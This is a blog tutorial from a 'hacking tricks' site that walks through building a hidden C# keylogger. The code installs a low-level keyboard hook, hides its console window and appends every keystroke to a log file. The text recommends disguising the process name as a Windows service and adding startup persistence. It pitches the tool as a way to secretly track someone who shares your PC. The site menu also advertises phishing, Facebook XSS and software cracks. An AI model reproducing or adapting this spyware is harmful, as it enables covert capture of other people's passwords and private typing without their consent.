All Tricks
    • Home
    • Hacking
      • IDM UNIVERSAL CRACK
      • Bruit Force
      • Phishing FB new
      • Phishing Gmail New
      • Kali Tabnapping
      • Hack friends Profile
      • Hacking Tips
      • SSL Breaking Fb hack
      • Hack Wifi Win.
      • Website hack
    • Android
      • Root Android
      • Speed Up Android
      • Partition in SD
      • Run Kali on Android
      • Android on PC
      • Find Lost Android
      • Apple vs Android Vs Win
      • Apple vs Android Vs Win
    • Facebook
      • Autolikes
      • Page Rename
      • Rename FB ID
      • Empty Facebook ID
      • Blog to Facebook
      • IP changer Firefox
      • Bruit Force Attack
      • Xss Ijection FB
    • Youtube
      • Youtube -- 9xbuddy
      • Youtube -- Savefrom Net
      • Youtube -- catch videos
      • Youtube Downloader alltricks
      • Our Youtube Channel
    • Downloads
      • IDM UNIVERSAL CRACK POST
      • IDM CRACK UPDATE 11/2016
      • IDM Crack Direct Download 1
      • IDM crack Direct 2
      • Ease Us Recovery
    • Chat
    • DMCA ©
    • Contact us
      • Resume
      • CV
  • Home
  • Hacking
    • IDM UNIVERSAL CRACK
    • Bruit Force
    • Phishing FB new
    • Phishing Gmail New
    • Kali Tabnapping
    • Hack friends Profile
    • Hacking Tips
    • SSL Breaking Fb hack
    • Hack Wifi Win.
    • Website hack
  • Android
    • Root Android
    • Speed Up Android
    • Partition in SD
    • Run Kali on Android
    • Android on PC
    • Find Lost Android
    • Apple vs Android Vs Win
    • Apple vs Android Vs Win
  • Facebook
    • Autolikes
    • Page Rename
    • Rename FB ID
    • Empty Facebook ID
    • Blog to Facebook
    • IP changer Firefox
    • Bruit Force Attack
    • Xss Ijection FB
  • Youtube
    • Youtube -- 9xbuddy
    • Youtube -- Savefrom Net
    • Youtube -- catch videos
    • Youtube Downloader alltricks
    • Our Youtube Channel
  • Downloads
    • IDM UNIVERSAL CRACK POST
    • IDM CRACK UPDATE 11/2016
    • IDM Crack Direct Download 1
    • IDM crack Direct 2
    • Ease Us Recovery
  • Chat
  • DMCA ©
  • Contact us
    • Resume
    • CV

Wednesday, 16 April 2014

How to Create a Simple, Hidden Console Keylogger in C# Sharp

 Parth Makadiya     04:44     HACK, KEYLOGGER, OWN     No comments   

Today I will show you how to create  a simple keylogger in Visual C# Sharp, which will start up hidden from view, and record anything the user types on the keybord, then save it into a text file. Great if you share a PC and want to track what someone else is writing.

You Will Need

  • Visual C# 2010 Express

Step 1 Create the Project

This is semi-important, usually you don't put much thought behind this, but I recommend naming this project something like "Windows Local host Process" or whatever, so that IF the user you are tracking suddenly decides to look up windows processes, your app will not be so easy to distinguish from something Windows would already have running in the background.
Why? Well, renaming the .exe file is not enough, the name you give your project will appear in the task manager, so assuming you are not a very technical user, if you see a process called ''cmd.exe | ConsoleApplication5" then alarm bells should not be ringing. However, if you see "sysWin86 |Windows Local Host Process" you won't know right away that it is not a legitimate process.
So create a Console Application project, name it appropriately and in the "Using" clause, include the following, if it's not already there:
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

Step 2 Declaration Clause and Referencing

Just below "Class YourProject {", add the following:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
In the "Main" function ("public static Main") add:
        var handle = GetConsoleWindow();
        // Hide
        ShowWindow(handle, SW_HIDE);
        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);
Finally, go into Project >> Add References.
In the .NET tab, choose System.Windows.Forms and add it to your project.

Step 3 Functions for Key Capturing

Below the Main clause, add these functions:
    private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);
    private static IntPtr HookCallback(
        int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            Console.WriteLine((Keys)vkCode);
            StreamWriter sw = new StreamWriter(Application.StartupPath+ @"\log.txt",true);
            sw.Write((Keys)vkCode);
            sw.Close();
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

Step 4 DLL Imports

After adding the key capture functions, add these:
//These Dll's will handle the hooks. Yaaar mateys!
    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);
    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);
// The two dll imports below will handle the window hiding.
    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    const int SW_HIDE = 0;

Step 5 Compile and Try it Out!

This is the fun step. Once you have added all the code, just run the compiler and try out the .exe!  
As the window is hidden, but still records every keystroke, you will now log all the keystrokes ever pressed on that PC.

Further Improvements

  • Log file management could be improved by inserting line breaks at certain intervals. Something I did not bother with for this particular exercise.
  • It is possible to create a global mouse hook which will tell you what applications your mouse interacted with, where the cursor was and so forth. Google is your friend on this one.
  • Run @ Startup script.

"Sauce"-Code

  • Source Code via Pastebin
Front page image by Robbert van der Steeg 
  • Share This:  
  •  Facebook
  •  Twitter
  •  Google+
  •  Stumble
  •  Digg
Email ThisBlogThis!Share to XShare to Facebook
Newer Post Older Post Home

0 comments:

Post a Comment

Popular Posts

  • Internet Download Manager [IDM] Universal Crack Version
    By Parth Makadiya Note  : This crack has a built-in update function . Once IDM new version comes, you can update and apply crack ...
  • Windows Phone 8.1 Review: Gloriously Good Enough
    By Parth Makadiya Share On Google+ Add This To Delicious Tweet/ReTweet This Share on Facebook StumbleUpon This Digg This Microsof...
  • How to Open or Access Blocked Websites at Schools,College and Office Work
    By Parth Makadiya Share On Google+ Add This To Delicious Tweet/ReTweet This Share on Facebook StumbleUpon This Digg This N...
  • How to Hack WPA WiFi Passwords by Cracking the WPS PIN
    A flaw in  WPS , or  W iFi  P rotected  S etup, known about for over a year by  TNS , was finally exploited with proof...

Recent Posts

LightBlog

Categories

2 STEP VERIFICATION (1) 4.4 (2) 4.4.3 (1) 4G (1) ADSEAN (1) ANDROID (8) ANDROID ON PC (1) APK ON PC (2) BACKLINK (1) BLOCK (1) BLOG (2) BOOT (1) BOOTABLE (2) CCPROXY (1) Change (1) Chat (1) CMD (1) CRACK (1) CREATE YOUR OS (1) DATA (1) DOWNLOAD (1) DOWNLOADER (1) DUAL OS (1) error (1) EXTRA SECURE (1) FACEBOOK (5) FB (1) FEATURES (1) FIREFOX (1) fix error (1) FORMAT (1) FREE (1) GET TRAFFIC (1) GLASS (1) GOOGLE (2) HACK (12) HDD (1) HELP (3) HIDDEN PROFILE PICTURE (1) HOSTING (1) How to (1) IDM (2) INTERNET (1) INTERNET DOWNLOAD MANAGER (1) IOS VS WINDOWS VS ANDROID (1) KEYLOGGER (2) LINUX (1) Mac Adress (1) MOBILE (1) NEXUS (1) NOKIA ANDROID (1) NOTPAD (1) ONLINE (2) OPEN (1) OWN (1) PAGE (2) PATTERN (1) PC (2) PENDRIVE (1) PHISHING (1) PHONE (1) playstore (1) RECOVERY (2) RENAME (1) REVIEW (1) ROOT (5) SAMSUNG (1) SECURE (2) SHUT (1) Snuff (1) Social (1) solve error (1) SPEED (1) SPYWARE (1) TORRENT (1) TORRENT WITH IDM (1) TRACE (1) TRICKS (1) UPDATE (3) VIRUS (1) WEBCAM (1) WEBSITE (1) WEBSITES (2) widget (1) WIFI (4) WINDOWS (1) WINDOWS 7 (1) WINDOWS 8 (1) YOUTUBE (1)

Unordered List

  • Follow on Twitter
  • Like on Facebook
  • Subscribe on Youtube
  • Follow on Instagram

Pages

  • Home

Text Widget

Blog Archive

  • Home
  • About
  • Contact
  • 404
Powered by Blogger.

Category 4

Instagram

Ads Inside Post

Total Pageviews

Recent

Comment

Subscribe

Subscribe

Category 5

Event more news

Recent Posts

Breaking

Recent Posts

Contributors

  • Parth Makadiya
  • Top Android Applications

Contact Form

Name

Email *

Message *

  • Home
  • About
  • Contact
  • Features
  • _feature 1
  • _feature 2
  • __feature 3.1
  • __feature 3.2
  • __feature 3.3
  • _feature 4
  • _feature 5
  • Shortcodes
  • Documentation
  • Download this template

Labels

  • 2 STEP VERIFICATION
  • 4.4
  • 4.4.3
  • 4G
  • ADSEAN
  • ANDROID
  • ANDROID ON PC
  • APK ON PC
  • BACKLINK
  • BLOCK
  • BLOG
  • BOOT
  • BOOTABLE
  • CCPROXY
  • Change
  • Chat
  • CMD
  • CRACK
  • CREATE YOUR OS
  • DATA
  • DOWNLOAD
  • DOWNLOADER
  • DUAL OS
  • error
  • EXTRA SECURE
  • FACEBOOK
  • FB
  • FEATURES
  • FIREFOX
  • fix error
  • FORMAT
  • FREE
  • GET TRAFFIC
  • GLASS
  • GOOGLE
  • HACK
  • HDD
  • HELP
  • HIDDEN PROFILE PICTURE
  • HOSTING
  • How to
  • IDM
  • INTERNET
  • INTERNET DOWNLOAD MANAGER
  • IOS VS WINDOWS VS ANDROID
  • KEYLOGGER
  • LINUX
  • Mac Adress
  • MOBILE
  • NEXUS
  • NOKIA ANDROID
  • NOTPAD
  • ONLINE
  • OPEN
  • OWN
  • PAGE
  • PATTERN
  • PC
  • PENDRIVE
  • PHISHING
  • PHONE
  • playstore
  • RECOVERY
  • RENAME
  • REVIEW
  • ROOT
  • SAMSUNG
  • SECURE
  • SHUT
  • Snuff
  • Social
  • solve error
  • SPEED
  • SPYWARE
  • TORRENT
  • TORRENT WITH IDM
  • TRACE
  • TRICKS
  • UPDATE
  • VIRUS
  • WEBCAM
  • WEBSITE
  • WEBSITES
  • widget
  • WIFI
  • WINDOWS
  • WINDOWS 7
  • WINDOWS 8
  • YOUTUBE

Instagram

Labels

  • 2 STEP VERIFICATION
  • 4.4
  • 4.4.3
  • 4G
  • ADSEAN
  • ANDROID
  • ANDROID ON PC
  • APK ON PC
  • BACKLINK
  • BLOCK
  • BLOG
  • BOOT
  • BOOTABLE
  • CCPROXY
  • Change
  • Chat
  • CMD
  • CRACK
  • CREATE YOUR OS
  • DATA
  • DOWNLOAD
  • DOWNLOADER
  • DUAL OS
  • error
  • EXTRA SECURE
  • FACEBOOK
  • FB
  • FEATURES
  • FIREFOX
  • fix error
  • FORMAT
  • FREE
  • GET TRAFFIC
  • GLASS
  • GOOGLE
  • HACK
  • HDD
  • HELP
  • HIDDEN PROFILE PICTURE
  • HOSTING
  • How to
  • IDM
  • INTERNET
  • INTERNET DOWNLOAD MANAGER
  • IOS VS WINDOWS VS ANDROID
  • KEYLOGGER
  • LINUX
  • Mac Adress
  • MOBILE
  • NEXUS
  • NOKIA ANDROID
  • NOTPAD
  • ONLINE
  • OPEN
  • OWN
  • PAGE
  • PATTERN
  • PC
  • PENDRIVE
  • PHISHING
  • PHONE
  • playstore
  • RECOVERY
  • RENAME
  • REVIEW
  • ROOT
  • SAMSUNG
  • SECURE
  • SHUT
  • Snuff
  • Social
  • solve error
  • SPEED
  • SPYWARE
  • TORRENT
  • TORRENT WITH IDM
  • TRACE
  • TRICKS
  • UPDATE
  • VIRUS
  • WEBCAM
  • WEBSITE
  • WEBSITES
  • widget
  • WIFI
  • WINDOWS
  • WINDOWS 7
  • WINDOWS 8
  • YOUTUBE

Translate

Awesome

Category 5

Post Slider



Facebook

Comments

LightBlog
Adbox

Advertisement

About us

Popular Posts
  • Internet Download Manager [IDM] Universal Crack Version
    By Parth Makadiya Note  : This crack has a built-in update function . Once IDM new version comes, you can update and apply crack ...
  • Windows Phone 8.1 Review: Gloriously Good Enough
    By Parth Makadiya Share On Google+ Add This To Delicious Tweet/ReTweet This Share on Facebook StumbleUpon This Digg This Microsof...
  • How to Open or Access Blocked Websites at Schools,College and Office Work
    By Parth Makadiya Share On Google+ Add This To Delicious Tweet/ReTweet This Share on Facebook StumbleUpon This Digg This N...
  • How to Hack WPA WiFi Passwords by Cracking the WPS PIN
    A flaw in  WPS , or  W iFi  P rotected  S etup, known about for over a year by  TNS , was finally exploited with proof...
  • What is ROOT??
    Rooting - is it for me? Some Q&A By Parth Makadiya Share On Google+ Add This To Delicious Tweet/...
  • How To Root Android the Easy Way
    How To Root Android the Easy Way Click Here to Root Android By Parth Makadiya Share On Google+ Add This To Delicious Twe...
  • Creating Bootable Pen Drive Using Windows Command Prompt
    Making a pen drive bootable is possible in Windows7 & Windows8 operating system. Formatting a computer to install fresh Windows OS ...
  • Google Play Store Error 498 – 5 Ways to Fix it
    By Parth Makadiya Recently While Downloading Asphalt game on my Smartphone I got an  Error 498  in Google Play Store. To be Exact, the Err...
  • How to Recover Lost Data from a Formatted Drive in 7 Steps
    By  Parth Makadiya Last time we talked about when to use data recovery software and  10 features to look for when choosing recovery soft...
  • How to Install Windows XP from USB Flash/Pen Drive
    BY Parth Makadiya Share On Google+ Add This To Delicious Tweet/ReTweet This Share on Facebook StumbleUpon This Digg This Inst...

Sample Text

Copyright © All Tricks | Powered by Blogger
Design by Hardeep Asrani | Blogger Theme by NewBloggerThemes.com | Distributed By Gooyaabi Templates